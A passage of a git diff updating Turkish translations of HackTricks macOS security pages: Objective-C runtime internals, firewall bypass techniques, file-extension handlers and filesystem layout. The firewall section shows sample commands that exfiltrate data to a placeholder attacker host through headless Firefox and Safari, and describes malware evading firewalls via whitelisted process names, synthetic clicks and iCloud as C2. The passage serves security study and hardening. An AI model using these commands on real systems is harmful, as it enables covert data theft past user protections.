options`)**: `@` olarak kodlanmış, ofset 20'de +6. **Üçüncü argüman (`NSError ** error`)**: `^@` olarak kodlanmış, ofset 24'te + +**Seçici + kodlama ile yöntemi yeniden oluşturabilirsiniz.** + +### **Sınıflar** + +Objective-C'deki sınıflar, özellikler, yöntem işaretçileri olan bir yapıdır. `objc_class` yapısını [**kaynak kodunda**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) bulmak mümkündür: +```objectivec +struct objc_class : objc_object { +// Class ISA; +Class superclass; +cache_t cache; // formerly cache pointer and vtable +class_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags + +class_rw_t *data() { +return bits.data(); +} +void setData(class_rw_t *newData) { +bits.setData(newData); +} + +void setInfo(uint32_t set) { +assert(isFuture() || isRealized()); +data()->setFlags(set); +} +[...] +``` +Bu sınıf, sınıf hakkında bazı bilgileri göstermek için isa alanının bazı bitlerini kullanır. + +Daha sonra, struct, sınıfın adını, temel yöntemleri, özellikleri ve örnek değişkenleri gibi sınıfın özelliklerini içeren diske kaydedilmiş `class_ro_t` yapısına bir işaretçi içerir.\ +Çalışma zamanında, değiştirilebilen yöntemler, protokoller, özellikler gibi işaretçiler içeren ek bir yapı olan `class_rw_t` kullanılır... diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 172d64de9..332d0a27a 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -1,38 +1,39 @@ # macOS Güvenlik Duvarlarını Atlatma +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hackleme konusunda sıfırdan kahramana dönüşün htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile öğrenin! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Bulunan Teknikler -Aşağıdaki teknikler bazı macOS güvenlik duvarı uygulamalarında çalışırken bulundu. +Aşağıdaki teknikler bazı macOS güvenlik duvarı uygulamalarında çalışır bulunmuştur. ### Beyaz liste adlarını kötüye kullanma -* Örneğin, zararlı yazılımı **`launchd`** gibi iyi bilinen macOS işlemleri adlarıyla çağırmak +* Örneğin, zararlı yazılımı **`launchd`** gibi iyi bilinen macOS işlemleri adlarıyla çağırma ### Sentetik Tıklama -* Güvenlik duvarı kullanıcıdan izin istediğinde zararlı yazılımın **izin ver'e tıklamasını sağlamak** +* Güvenlik duvarı kullanıcıdan izin istediğinde zararlı yazılımın **izin ver** düğmesine tıklamasını sağlama -### **Apple imzalı ikilileri kullanma** +### **Apple imzalı ikilileri Kullanma** * **`curl`** gibi, ayrıca **`whois`** gibi diğerleri -### Tanınmış apple alan adları +### İyi bilinen apple alan adları -Güvenlik duvarı, **`apple.com`** veya **`icloud.com`** gibi iyi bilinen apple alan adlarına bağlantıları izin veriyor olabilir. Ve iCloud bir C2 olarak kullanılabilir. +Güvenlik duvarı, **`apple.com`** veya **`icloud.com`** gibi iyi bilinen apple alan adlarına bağlantılara izin veriyor olabilir. Ve iCloud bir C2 olarak kullanılabilir. ### Genel Atlatma @@ -46,7 +47,7 @@ lsof -i TCP -sTCP:ESTABLISHED ``` ### DNS Kötüye Kullanımı -DNS çözümlemeleri muhtemelen DNS sunucularına erişime izin verilecek olan **`mdnsreponder`** imzalı uygulama aracılığıyla yapılır. +DNS çözümlemeleri, muhtemelen DNS sunucularına erişime izin verilecek olan **`mdnsreponder`** imzalı uygulama aracılığıyla yapılır.
https://www.youtube.com/watch?v=UlT5KFTMn2k
@@ -77,7 +78,7 @@ firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` -### İşlem enjeksiyonu yoluyla +### İşlem enjeksiyonu aracılığıyla Eğer **bir işleme kod enjekte edebilirseniz** ve bu işlem herhangi bir sunucuya bağlanmaya izin veriliyorsa, güvenlik duvarı korumalarını atlayabilirsiniz: @@ -89,16 +90,17 @@ Eğer **bir işleme kod enjekte edebilirseniz** ve bu işlem herhangi bir sunucu * [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index 2b80951fc..6d47acdbe 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -1,22 +1,23 @@ -# macOS Dosya Uzantısı ve URL şema uygulama işleyicileri +# macOS Dosya Uzantısı ve URL şeması uygulama işleyicileri + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! -* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com) -* [**The PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu -* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] veya **bizi takip edin** **Twitter** 🐦 [**@carlospolopm**] (https://twitter.com/hacktricks\_live)**.** -* **Hacking hilelerinizi paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## LaunchServices Veritabanı -Bu, macOS'ta yüklü olan tüm uygulamaların bulunduğu bir veritabanıdır ve her yüklü uygulama hakkında bilgi almak için sorgulanabilir, örneğin desteklediği URL şemaları ve MIME türleri. +Bu, macOS'ta yüklü olan tüm uygulamaların bir veritabanıdır ve her yüklü uygulama hakkında URL şemaları ve MIME türleri gibi bilgileri almak için sorgulanabilir. Bu veritabanını şu şekilde dökümleyebilirsiniz: @@ -28,13 +29,13 @@ Bu veritabanını şu şekilde dökümleyebilirsiniz: Veya [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) aracını kullanarak. -**`/usr/libexec/lsd`**, veritabanının beynidir. `.lsd.installation`, `.lsd.open`, `.lsd.openurl` gibi **birkaç XPC hizmeti** sağlar. Ancak ayrıca uygulamaların `.launchservices.changedefaulthandler` veya `.launchservices.changeurlschemehandler` gibi açığa çıkarılan XPC işlevlerini kullanabilmek için bazı **yetkilendirmelere** ihtiyaç duyar, mime türleri veya url şemaları için varsayılan uygulamaları değiştirmek ve diğer işlevler. +**`/usr/libexec/lsd`**, veritabanının beynidir. `.lsd.installation`, `.lsd.open`, `.lsd.openurl` gibi **birkaç XPC hizmeti** sağlar. Ancak ayrıca uygulamaların `.launchservices.changedefaulthandler` veya `.launchservices.changeurlschemehandler` gibi açığa çıkarılan XPC işlevlerini kullanabilmek için **bazı yetkilendirmelere** ihtiyaç duyar, mime türleri veya url şemaları için varsayılan uygulamaları değiştirmek ve diğerleri. **`/System/Library/CoreServices/launchservicesd`**, `com.apple.coreservices.launchservicesd` hizmetini iddia eder ve çalışan uygulamalar hakkında bilgi almak için sorgulanabilir. Sistem aracı /**`usr/bin/lsappinfo`** veya [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) ile sorgulanabilir. ## Dosya Uzantısı ve URL şeması uygulama işleyicileri -Aşağıdaki satır, uzantıya bağlı olarak dosyaları açabilen uygulamaları bulmak için faydalı olabilir: +Aşağıdaki satır, uzantıya bağlı olarak dosyaları açabilen uygulamaları bulmak için yararlı olabilir: {% code overflow="wrap" %} ```bash @@ -49,7 +50,7 @@ Veya [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps) gib ./swda getUTIs #Get all the UTIs ./swda getHandler --URL ftp #Get ftp handler ``` -Ayrıca, bir uygulamanın desteklediği uzantıları kontrol edebilirsiniz: +Uygulamanın desteklediği uzantıları kontrol etmek için aşağıdaki adımı uygulayabilirsiniz: ``` cd /Applications/Safari.app/Contents grep -A3 CFBundleTypeExtensions Info.plist | grep string @@ -81,16 +82,17 @@ grep -A3 CFBundleTypeExtensions Info.plist | grep string xbl svg ``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index 6a00a6ebe..482467a81 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -1,18 +1,19 @@ # macOS Dosyaları, Klasörleri, İkili Dosyalar ve Bellek +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Dosya hiyerarşisi düzeni @@ -21,27 +22,27 @@ HackTricks'ı desteklemenin diğer yolları: * **/cores**: Var ise, çekirdek dökümlerini depolamak için kullanılır * **/dev**: Her şey bir dosya olarak işlendiği için burada donanım cihazları bulunabilir. * **/etc**: Yapılandırma dosyaları -* **/Library**: Tercihler, önbellekler ve günlüklerle ilgili birçok alt dizin ve dosya burada bulunabilir. Bir Library klasörü kökte ve her kullanıcının dizininde bulunur. -* **/private**: Belgelenmemiş ancak bahsedilen birçok klasörün özel dizinine sembolik bağlantılar bulunabilir. +* **/Library**: Tercihler, önbellekler ve günlüklerle ilgili birçok alt dizin ve dosya burada bulunabilir. Bir Library klasörü kök dizinde ve her kullanıcının dizininde bulunur. +* **/private**: Belgelenmemiş ancak bahsedilen birçok klasör özel dizinine sembolik bağlantılardır. * **/sbin**: Temel sistem ikilileri (yönetimle ilgili) -* **/System**: OS X'in çalışmasını sağlayan dosya. Burada genellikle yalnızca Apple'a özgü dosyalar bulunmalıdır (üçüncü taraf değil). +* **/System**: OS X'in çalışmasını sağlayan dosya. Burada genellikle yalnızca Apple'a özgü dosyalar bulmalısınız (üçüncü taraf değil). * **/tmp**: Dosyalar 3 gün sonra silinir (bu, /private/tmp'ye bir sembolik bağlantıdır) -* **/Users**: Kullanıcıların ev dizini. +* **/Users**: Kullanıcıların ana dizini. * **/usr**: Yapılandırma ve sistem ikilileri * **/var**: Günlük dosyaları * **/Volumes**: Bağlanan sürücüler burada görünecektir. -* **/.vol**: `stat a.txt` komutunu çalıştırarak `16777223 7545753 -rw-r--r-- 1 kullanıcı adı tekerlek ...` gibi bir şey elde edersiniz, burada ilk sayı dosyanın bulunduğu birim numarası ve ikinci sayı inode numarasıdır. Bu bilgiyi kullanarak bu dosyanın içeriğine /.vol/ üzerinden erişebilirsiniz, `cat /.vol/16777223/7545753` komutunu çalıştırarak. +* **/.vol**: `stat a.txt` komutunu çalıştırarak `16777223 7545753 -rw-r--r-- 1 kullanıcıadı wheel ...` gibi bir şey elde edersiniz, burada ilk sayı dosyanın bulunduğu birim numarası ve ikinci sayı inode numarasıdır. Bu bilgiyi kullanarak bu dosyanın içeriğine /.vol/ üzerinden erişebilirsiniz, `cat /.vol/16777223/7545753` komutunu çalıştırarak. ### Uygulamaların Klasörleri -* **Sistem uygulamaları**, `/System/Applications` altında bulunur -* **Yüklü** uygulamalar genellikle `/Applications` veya `~/Applications` içinde yüklenir +* **Sistem uygulamaları**, `/System/Applications` altında bulunur. +* **Yüklü** uygulamalar genellikle `/Applications` veya `~/Applications` içinde yüklenir. * **Uygulama verileri**, kök olarak çalışan uygulamalar için `/Library/Application Support` ve kullanıcı olarak çalışan uygulamalar için `~/Library/Application Support` içinde bulunabilir. -* **Root olarak çalışması gereken üçüncü taraf uygulama** **daemonları**, genellikle `/Library/PrivilegedHelperTools/` içinde bulunur +* **Root olarak çalışması gereken üçüncü taraf uygulama hizmetleri**, genellikle `/Library/PrivilegedHelperTools/` içinde bulunur. * **Kumlanmış** uygulamalar, `~/Library/Containers` klasörüne eşlenir. Her uygulamanın, uygulamanın paket kimliğine (`com.apple.Safari`) göre adlandırılmış bir klasörü vardır. -* **Çekirdek**, `/System/Library/Kernels/kernel` içinde bulunur -* **Apple'ın çekirdek uzantıları**, `/System/Library/Extensions` içinde bulunur -* **Üçüncü taraf çekirdek uzantıları**, `/Library/Extensions` içinde saklanır +* **Çekirdek**, `/System/Library/Kernels/kernel` içinde bulunur. +* **Apple'ın çekirdek uzantıları**, `/System/Library/Extensions` içinde bulunur. +* **Üçüncü taraf çekirdek uzantıları**, `/Library/Extensions` içinde saklanır. ### Hassas Bilgiler İçeren Dosyalar @@ -59,7 +60,7 @@ MacOS, şifreler gibi bilgileri çeşitli yerlerde saklar: ## OS X Özel Uzantılar -* **`.dmg`**: Apple Disk İmaj dosyaları sıkça yükleyiciler için kullanılır. +* **`.dmg`**: Apple Disk Image dosyaları sıkça kullanılır. * **`.kext`**: Belirli bir yapıyı takip etmelidir ve sürücünün OS X sürümüdür. (bir paket) * **`.plist`**: XML veya ikili biçimde bilgi saklayan özellik listesi olarak da bilinir. * XML veya ikili olabilir. İkili olanlar şu şekilde okunabilir: @@ -70,16 +71,16 @@ MacOS, şifreler gibi bilgileri çeşitli yerlerde saklar: * `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` * **`.app`**: Dizin yapısını takip eden Apple uygulamaları (bir paket). * **`.dylib`**: Dinamik kütüphaneler (Windows DLL dosyaları gibi) -* **`.pkg`**: xar (Genişletilebilir Arşiv biçimi) ile aynıdır. Bu dosyaların içeriğini yüklemek için installer komutu kullanılabilir. -* **`.DS_Store`**: Her dizinde bulunan bu dosya, dizinin özelliklerini ve özelleştirmelerini kaydeder. -* **`.Spotlight-V100`**: Bu klasör, sistemdeki her bir birimin kök dizininde görünür. +* **`.pkg`**: xar (Genişletilebilir Arşiv biçimi) ile aynıdır. İçeriğini yüklemek için installer komutu kullanılabilir. +* **`.DS_Store`**: Bu dosya her dizinde bulunur, dizinin özelliklerini ve özelleştirmelerini kaydeder. +* **`.Spotlight-V100`**: Bu klasör, sistemdeki her birim kök dizininde görünür. * **`.metadata_never_index`**: Bu dosya bir birimin kökünde bulunursa Spotlight o birimi dizine eklemeyecektir. * **`.noindex`**: Bu uzantıya sahip dosya ve klasörler Spotlight tarafından dizine eklenmeyecektir. * **`.sdef`**: Bir uygulamayla AppleScript'ten nasıl etkileşim kurulabileceğini belirten paketler içindeki dosyalar. ### macOS Paketleri -Bir paket, Finder'da bir nesneye benzeyen bir **dizin**dir (Bir Paket örneği `*.app` dosyalarıdır). +Bir paket, Finder'da bir nesne gibi görünen bir **dizin**dir (Bir Paket örneği `*.app` dosyalarıdır). {% content-ref url="macos-bundles.md" %} [macos-bundles.md](macos-bundles.md) @@ -87,14 +88,12 @@ Bir paket, Finder'da bir nesneye benzeyen bir **dizin**dir (Bir Paket örneği ` ## Dyld Paylaşılan Kütüphane Önbelleği (SLC) -MacOS'ta (ve iOS'ta) tüm sistem paylaşılan kütüphaneler, çerçeveler ve dylib'ler gibi, **dyld paylaşılan önbelleğe** adı verilen tek bir dosyada birleştirilir. Bu, kodun daha hızlı yüklenebilmesi nedeniyle performansı artırır. +MacOS'ta (ve iOS'ta) tüm sistem paylaşılan kütüphaneleri, çerçeveler ve dylib'ler gibi, **dyld paylaşılan önbelleğe** tek bir dosyada birleştirilir. Bu, kodun daha hızlı yüklenebilmesi nedeniyle performansı artırır. Bu, macOS'ta `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` içinde bulunur ve eski sürümlerde **paylaşılan önbelleği** **`/System/Library/dyld/`** içinde bulabilirsiniz.\ iOS'ta bunları **`/System/Library/Caches/com.apple.dyld/`** içinde bulabilirsiniz. -Dyld paylaşılan önbelleğe benzer şekilde, çekirdek ve çekirdek uzantıları da bir çekirdek önbelleğine derlenir ve önyükleme sırasında yüklenir. - -Tek dosyadan kütüphaneleri çıkarmak için kullanılabilecek [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) adlı ikili dosya eskide çalışmayabilir ancak [**dyldextractor**](https://github.com/arandomdev/dyldextractor) kullanabilirsiniz: +Dyld paylaşılan önbelleğinden kütüphaneleri çıkarmak için kullanılabilecek ikili [dyld\_shared\_cache\_util](https://www.mbsplugins.de/files/dyld\_shared\_cache\_util-dyld-733.8.zip) olabilir, ancak günümüzde çalışmayabilir, bu nedenle [**dyldextractor**](https://github.com/arandomdev/dyldextractor) kullanabilirsiniz: {% code overflow="wrap" %} ```bash @@ -109,46 +108,46 @@ dyldex_all [dyld_shared_cache_path] # Extract all {% endcode %} {% hint style="success" %} -Not edin ki `dyld_shared_cache_util` aracı çalışmasa bile, **paylaşılan dyld binary'sini Hopper'a geçirebilir** ve Hopper tüm kütüphaneleri tanımlayabilir ve incelemek istediğiniz **hangisini seçmek istediğinizi** size bırakacaktır: +`dyld_shared_cache_util` aracının çalışmaması durumunda bile, **paylaşılan dyld ikilisini Hopper'a geçirebilir** ve Hopper tüm kütüphaneleri tanımlayabilir ve incelemek istediğiniz **hangi kütüphaneyi seçmek istediğinizi belirlemenize olanak tanır**: {% endhint %}
-Bazı çıkartıcılar çalışmayabilir çünkü dylib'ler sabit adreslerle önceden bağlantılı olduğundan bilinmeyen adreslere atlayabilirler. +Bazı çıkartıcılar, dylib'lerin sabit adreslerle önceden bağlantılı olduğu için çalışmayabilir, bu nedenle bilinmeyen adreslere atlayabilirler. {% hint style="success" %} -Başka \*OS cihazlarının Paylaşılan Kütüphane Önbelleğini Xcode'da bir emülatör kullanarak macOS'ta indirmek de mümkündür. Bunlar şuraya indirilecektir: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, gibi:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` +Başka bir \*OS cihazının Paylaşılan Kütüphane Önbelleğini Xcode'da bir emülatör kullanarak macOS'ta indirmek de mümkündür. Bunlar şuraya indirilecektir: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, örneğin:`$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` {% endhint %} ### SLC Haritalama -**`dyld`**, SLC'nin eşlenip eşlenmediğini bilmek için **`shared_region_check_np`** sistem çağrısını kullanır (adresi döndürür) ve SLC'yi eşlemek için **`shared_region_map_and_slide_np`**'yi kullanır. +**`dyld`**, SLC'nin eşlenip eşlenmediğini bilmek için **`shared_region_check_np`** sistem çağrısını kullanır (adresi döndürür) ve SLC'yi eşlerken **`shared_region_map_and_slide_np`** sistem çağrısını kullanır. -SLC ilk kullanımda kaydırılsa bile, tüm **işlemler** aynı kopyayı kullanır, bu da saldırganın sistemde işlemleri çalıştırabilmesi durumunda **ASLR** korumasını ortadan kaldırır. Bu aslında geçmişte istismar edilmiş ve paylaşılan bölge sayfa belleği ile düzeltilmiştir. +SLC ilk kullanımda kaydırılsa bile, **tüm işlemler** aynı kopyayı kullanır, bu da saldırganın sistemde işlemleri çalıştırabilmesi durumunda **ASLR korumasını ortadan kaldırır**. Bu aslında geçmişte istismar edilmiş ve paylaşılan bölge sayfa belleği ile düzeltilmiştir. -Dal havuzları, görüntü eşlemeleri arasında küçük boşluklar oluşturan küçük Mach-O dylib'leridir, bu da işlevleri araya girmeyi imkansız hale getirir. +Şube havuzları, görüntü eşlemeleri arasında küçük boşluklar oluşturan küçük Mach-O dylib'leridir, bu da işlevleri araya girmeyi imkansız hale getirir. ### SLC'leri Geçersiz Kılma Çevresel değişkenleri kullanarak: -* **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Bu yeni bir paylaşılan kütüphane önbelleğini yüklemeyi sağlar +* **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Bu, yeni bir paylaşılan kütüphane önbelleğini yüklemeyi sağlar * **`DYLD_SHARED_CACHE_DIR=avoid`** ve kütüphaneleri paylaşılan önbelleğe gerçek olanlarla sembollerle değiştirerek manuel olarak (onları çıkartmanız gerekecektir) ## Özel Dosya İzinleri -### Klasör İzinleri +### Klasör izinleri -Bir **klasörde**, **okuma** onu **listelemeyi**, **yazma** onu **silmeyi** ve üzerinde dosya oluşturmayı, **yürütme** ise dizini **gezmeyi** sağlar. Örneğin, bir kullanıcının **yürütme izni olmayan bir dizindeki bir dosya** üzerinde **okuma izni** olması durumunda dosyayı **okuyamayacağını** unutmayın. +Bir **klasörde**, **okuma** onu **listelemenize**, **yazma** onu **silmeye** ve üzerinde dosya **yazmaya** izin verir, ve **yürütme** dizini **gezmeye** izin verir. Örneğin, bir kullanıcının **yürütme izni olmayan bir dizinde** bulunan bir dosya üzerinde **okuma izni varsa**, dosyayı **okuyamaz**. -### Bayrak Değiştiriciler +### Bayrak değiştiricileri Dosyalara ayarlanabilecek 